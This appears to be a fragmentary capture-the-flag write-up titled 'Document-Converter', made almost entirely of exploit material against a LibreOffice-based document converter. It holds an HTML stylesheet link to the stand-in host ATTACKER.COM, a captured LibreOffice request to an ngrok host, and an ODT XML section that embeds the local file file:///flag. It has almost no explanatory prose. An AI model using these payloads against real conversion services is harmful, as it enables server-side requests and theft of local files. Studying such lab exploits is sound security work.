Document-Converter


Last updated
<link rel=stylesheet href='http://ATTACKER.COM/exploit.css'>
<html>
<body>
Hello world.
</body>
</html>OPTIONS /exploit.css HTTP/1.1
Host: a255-42-60-216-15.ngrok.io
User-Agent: LibreOffice
Cache-Control: no-cache
Pragma: no-cache
X-Forwarded-For: 20.233.9.240
X-Forwarded-Proto: http
Accept-Encoding: gzip<?xml version="1.0" encoding="UTF-8"?>
<office:document-content ...>
<office:body>
<office:text>
...
<text:section text:name="string"><text:section-source
xlink:href="file:///flag" xlink:type="simple" xlink:show="embed"
xlink:actuate="onLoad"/></text:section>
</office:text>
</office:body>
</office:document-content>